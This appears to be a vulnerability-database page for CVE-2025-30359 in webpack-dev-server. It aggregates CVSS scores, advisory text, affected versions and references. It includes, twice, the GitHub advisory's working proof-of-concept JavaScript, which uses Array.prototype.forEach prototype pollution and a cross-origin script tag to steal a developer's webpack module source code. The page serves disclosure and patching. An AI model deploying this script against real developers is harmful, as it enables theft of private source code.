CVE-2025-30359
webpack-dev-server users' source code may be stolen when they access a malicious web site
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.3
webpack-dev-server users' source code may be stolen when they access a malicious web site
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.
- Record
CVE-2025-30359- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
EUVDEUVD-2025-16767
5.3
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.
- Record
EUVD-2025-16767- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4v9v-hfq4-rm2v
5.3
webpack-dev-server users' source code may be stolen when they access a malicious web site
Summary
Source code may be stolen when you access a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/ - You can see the source code output in the document and the devtools console.
The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>
Summary
Source code may be stolen when you use output.iife: false and access a malicious web site.
Details
When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for…
- Record
GHSA-4v9v-hfq4-rm2v- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
NVD
5.3
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.
- Record
CVE-2025-30359- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
OSV
5.3
webpack-dev-server users' source code may be stolen when they access a malicious web site
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.
- Record
CVE-2025-30359- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
OSVGHSA-4v9v-hfq4-rm2v
5.3
webpack-dev-server users' source code may be stolen when they access a malicious web site
Summary
Source code may be stolen when you access a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/ - You can see the source code output in the document and the devtools console.
The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>
Summary
Source code may be stolen when you use output.iife: false and access a malicious web site.
Details
When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for…
- Record
GHSA-4v9v-hfq4-rm2v- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
Show 12 moreShow less
OSVCLSA-2026-1774311630 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.1-tuxcare.1.
- Record
CLSA-2026-1774311630- Updated
- 2026-11-02
OSVCLSA-2026-1774398063 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.7.3-tuxcare.1.
- Record
CLSA-2026-1774398063- Updated
- 2026-11-02
OSVCLSA-2026-1774398064 No score
TuxCare security update for webpack-dev-server (1 CVE)
TuxCare rebuilt webpack-dev-server to address 1 CVE. Fixed in 3.11.3-tuxcare.1.
- Record
CLSA-2026-1774398064- Updated
- 2026-11-02
OSVCLSA-2026-1774398065 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.0-tuxcare.1.
- Record
CLSA-2026-1774398065- Updated
- 2026-11-02
OSVCLSA-2026-1776299677 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.1.14-tuxcare.1.
- Record
CLSA-2026-1776299677- Updated
- 2026-11-02
OSVCLSA-2026-1779324462 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.2-tuxcare.1.
- Record
CLSA-2026-1779324462- Updated
- 2026-11-02
OSVCLSA-2026-1779410890 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.11.0-tuxcare.1.
- Record
CLSA-2026-1779410890- Updated
- 2026-11-02
OSVCLSA-2026-1784077483 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.2-tuxcare.1.
- Record
CLSA-2026-1784077483- Updated
- 2026-11-02
OSVCLSA-2026-1784769495 No score
TuxCare security update for webpack-dev-server (1 CVE)
TuxCare rebuilt webpack-dev-server to address 1 CVE. Fixed in 2.11.5-tuxcare.2.
- Record
CLSA-2026-1784769495- Updated
- 2026-11-02
OSVCLSA-2026-1784769529 No score
TuxCare security update for webpack-dev-server (1 CVE)
TuxCare rebuilt webpack-dev-server to address 1 CVE. Fixed in 2.7.1-tuxcare.2.
- Record
CLSA-2026-1784769529- Updated
- 2026-11-02
OSVCLSA-2026-1790604947 No score
TuxCare security update for webpack-dev-server (4 CVEs)
TuxCare rebuilt webpack-dev-server to address 4 CVEs. Fixed in 4.9.3-tuxcare.1.
- Record
CLSA-2026-1790604947- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-30359 No score
CVE-2025-30359 in webpack-dev-server - Patched by Root
Root has patched CVE-2025-30359 in the webpack-dev-server package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-30359- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
webpack-dev-servernpm |
through 5.2.0 | 5.2.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
4.15.1-tuxcare.0 up to 4.15.1-tuxcare.1, plus listed versions 4.15.1 |
4.15.1-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
4.7.3-tuxcare.0 up to 4.7.3-tuxcare.1, plus listed versions 4.7.3 |
4.7.3-tuxcare.1 |
webpack-dev-serverTuxCare:npm |
3.11.3-tuxcare.0 up to 3.11.3-tuxcare.1, plus listed versions 3.11.3 |
3.11.3-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
3.11.0-tuxcare.0 up to 3.11.0-tuxcare.1, plus listed versions 3.11.0 |
3.11.0-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
3.1.14-tuxcare.0 up to 3.1.14-tuxcare.1, plus listed versions 3.1.14 |
3.1.14-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
3.11.2-tuxcare.0 up to 3.11.2-tuxcare.1, plus listed versions 3.11.2 |
3.11.2-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
4.11.0-tuxcare.0 up to 4.11.0-tuxcare.1, plus listed versions 4.11.0 |
4.11.0-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
4.15.2-tuxcare.0 up to 4.15.2-tuxcare.1, plus listed versions 4.15.2 |
4.15.2-tuxcare.1 |
webpack-dev-serverTuxCare:npm |
2.11.5-tuxcare.0 up to 2.11.5-tuxcare.2, plus listed versions 2.11.52.11.5-tuxcare.1 |
2.11.5-tuxcare.2 |
Show 5 moreShow less
| Package | Affected | Fixed |
|---|---|---|
webpack-dev-serverTuxCare:npm |
2.7.1-tuxcare.0 up to 2.7.1-tuxcare.2, plus listed versions 2.7.12.7.1-tuxcare.1 |
2.7.1-tuxcare.2 |
webpack-dev-serverTuxCare:npm From an advisory covering 4 CVEs |
4.9.3-tuxcare.0 up to 4.9.3-tuxcare.1, plus listed versions 4.9.3 |
4.9.3-tuxcare.1 |
webpack-dev-servernpm |
before 5.2.1 | 5.2.1 |
webpack-dev-serverRoot:npm |
before 3.11.3-aikido.1 | 3.11.3-aikido.14.10.0-aikido.13.11.3-aikido.24.10.0-aikido.23.11.3-aikido.35.0.4-aikido.15.0.4-aikido.23.11.3-aikido.44.10.0-aikido.3 |
@rootio/webpack-dev-serverRoot:npm |
before 3.11.3-root.io.1 | 3.11.3-root.io.14.10.0-root.io.13.11.3-root.io.24.10.0-root.io.23.11.3-root.io.35.0.4-root.io.15.0.4-root.io.23.11.3-root.io.44.10.0-root.io.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-30359 is a medium vulnerability (CVSS 5.3) in Webpack Webpack-dev-server, published June 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in webpack-dev-server 5.2.1.
References
github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v
github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239
nvd.nist.gov/vuln/detail/CVE-2025-30359
github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e
github.com/advisories/GHSA-4v9v-hfq4-rm2v
github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30359.json
github.com/webpack/webpack-dev-server
Left out here: the rest of 2 source descriptions. The JSON record has them.